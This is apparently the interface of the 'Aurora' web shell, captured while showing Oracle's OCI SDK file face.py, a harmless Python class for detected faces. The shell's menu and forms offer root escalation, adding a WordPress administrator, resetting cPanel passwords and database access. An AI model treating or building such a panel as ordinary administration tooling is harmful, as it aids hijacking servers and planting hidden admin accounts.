Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
ai_vision
models
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: face.py
# coding: utf-8 # Copyright (c) 2016, 2024, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license. # NOTE: This class is auto generated by OracleSDKGenerator. DO NOT EDIT. API Version: 20220125 from oci.util import formatted_flat_dict, NONE_SENTINEL, value_allowed_none_or_none_sentinel # noqa: F401 from oci.decorators import init_model_state_from_kwargs @init_model_state_from_kwargs class Face(object): """ The detected face. """ def __init__(self, **kwargs): """ Initializes a new Face object with values from keyword arguments. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param confidence: The value to assign to the confidence property of this Face. :type confidence: float :param bounding_polygon: The value to assign to the bounding_polygon property of this Face. :type bounding_polygon: oci.ai_vision.models.BoundingPolygon :param quality_score: The value to assign to the quality_score property of this Face. :type quality_score: float :param landmarks: The value to assign to the landmarks property of this Face. :type landmarks: list[oci.ai_vision.models.Landmark] """ self.swagger_types = { 'confidence': 'float', 'bounding_polygon': 'BoundingPolygon', 'quality_score': 'float', 'landmarks': 'list[Landmark]' } self.attribute_map = { 'confidence': 'confidence', 'bounding_polygon': 'boundingPolygon', 'quality_score': 'qualityScore', 'landmarks': 'landmarks' } self._confidence = None self._bounding_polygon = None self._quality_score = None self._landmarks = None @property def confidence(self): """ **[Required]** Gets the confidence of this Face. The confidence score, between 0 and 1. :return: The confidence of this Face. :rtype: float """ return self._confidence @confidence.setter def confidence(self, confidence): """ Sets the confidence of this Face. The confidence score, between 0 and 1. :param confidence: The confidence of this Face. :type: float """ self._confidence = confidence @property def bounding_polygon(self): """ **[Required]** Gets the bounding_polygon of this Face. :return: The bounding_polygon of this Face. :rtype: oci.ai_vision.models.BoundingPolygon """ return self._bounding_polygon @bounding_polygon.setter def bounding_polygon(self, bounding_polygon): """ Sets the bounding_polygon of this Face. :param bounding_polygon: The bounding_polygon of this Face. :type: oci.ai_vision.models.BoundingPolygon """ self._bounding_polygon = bounding_polygon @property def quality_score(self): """ **[Required]** Gets the quality_score of this Face. The quality score of the face detected, between 0 and 1. :return: The quality_score of this Face. :rtype: float """ return self._quality_score @quality_score.setter def quality_score(self, quality_score): """ Sets the quality_score of this Face. The quality score of the face detected, between 0 and 1. :param quality_score: The quality_score of this Face. :type: float """ self._quality_score = quality_score @property def landmarks(self): """ Gets the landmarks of this Face. A point of interest within a face. :return: The landmarks of this Face. :rtype: list[oci.ai_vision.models.Landmark] """ return self._landmarks @landmarks.setter def landmarks(self, landmarks): """ Sets the landmarks of this Face. A point of interest within a face. :param landmarks: The landmarks of this Face. :type: list[oci.ai_vision.models.Landmark] """ self._landmarks = landmarks def __repr__(self): return formatted_flat_dict(self) def __eq__(self, other): if other is None: return False return self.__dict__ == other.__dict__ def __ne__(self, other): return not self == other